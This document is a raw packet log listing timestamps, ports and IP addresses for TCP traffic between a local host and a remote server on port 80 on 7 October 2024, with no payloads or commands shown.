Oct 7, 2024 03:03:12.607300997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607336044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607346058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607381105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607402086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607443094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607458115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607492924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607492924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607531071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607536077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607568026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607579947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607604027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607614040 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607639074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607650995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607686996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607691050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607706070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607719898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607733011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607738018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607747078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607753992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607759953 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607774019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607775927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607789040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607790947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607803106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607812881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607840061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607841969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607876062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607884884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607922077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.616862059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.616893053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.616919041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.616934061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.616946936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.616992950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617002010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617034912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617043972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617077112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617105961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617141962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617168903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617178917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617182016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617213964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617224932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617248058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617249966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617295027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617321968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617337942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617347002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617381096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617389917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617419004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617420912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617460012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617472887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617517948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617527008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617561102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617568970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617607117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617630005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617665052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617677927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617698908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617707014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617734909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617743969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617778063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617788076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617830038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617836952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617871046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617880106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617918968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.617932081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617964983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.617979050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618002892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618005037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618036985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618047953 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618073940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618077040 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618108988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618114948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618144035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618155003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618186951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618196964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618232965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618237972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618271112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618272066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618304968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618313074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618345976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618359089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618401051 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618407011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618444920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618457079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618496895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618510008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618552923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618561983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618599892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618604898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618642092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618649960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618685007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618693113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618725061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618732929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618768930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618774891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618803978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618813038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618844032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618850946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618880033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618886948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618916035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618921995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618949890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618973970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.618985891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.618992090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619020939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619031906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619057894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619064093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619098902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619105101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619139910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619148970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619174957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619182110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619210005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619220018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619251966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619259119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619292974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619301081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619330883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619334936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619366884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619373083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619410038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619421959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619461060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619462013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619493961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619503021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619529009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619534969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619564056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619570971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619601011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619606018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619643927 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619642973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619654894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.619680882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.619690895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696063042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696109056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696170092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696173906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696248055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696316004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696353912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696408987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696433067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696434021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696434021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696434021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696434021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696443081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696464062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696494102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696496964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696538925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696547031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696583033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696604967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696616888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696625948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696662903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696672916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696717978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696726084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696770906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696774960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696815968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696827888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696866989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696875095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696902990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696913958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696953058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.696958065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.696994066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697005987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697027922 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697040081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697077990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697082996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697122097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697127104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697165966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697175980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697206974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697225094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697249889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697258949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697314024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697324038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697348118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697356939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697384119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697391987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697418928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697427034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697453976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697465897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697488070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697496891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697525978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697530985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697557926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697570086 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697593927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697603941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697633028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697639942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697666883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697676897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697704077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697736979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697772026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697803020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697837114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697871923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697884083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697885036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697885036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697885036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697899103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697899103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697906017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697930098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697949886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697968960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.697983980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.697999001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.698019981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.698045969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.698075056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.727430105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.732582092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904112101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904180050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904222012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904222012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904277086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904331923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904364109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904370070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904376984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904433012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904450893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904462099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904495955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904515028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904539108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904558897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904567957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904603958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904640913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904648066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904648066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904654980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904689074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904697895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904697895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904731035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904742956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904762030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904797077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904803038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904803038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904829979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904865026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904872894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904872894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904920101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904954910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.904962063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904962063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.904984951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905018091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905024052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905024052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905054092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905086994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905096054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905096054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905121088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905157089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905169964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905169964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905201912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905209064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905244112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905268908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905291080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905294895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905328989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905340910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.905364037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905427933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.905462980 CEST	49731	80	192.168.2.4	46.8.231.109
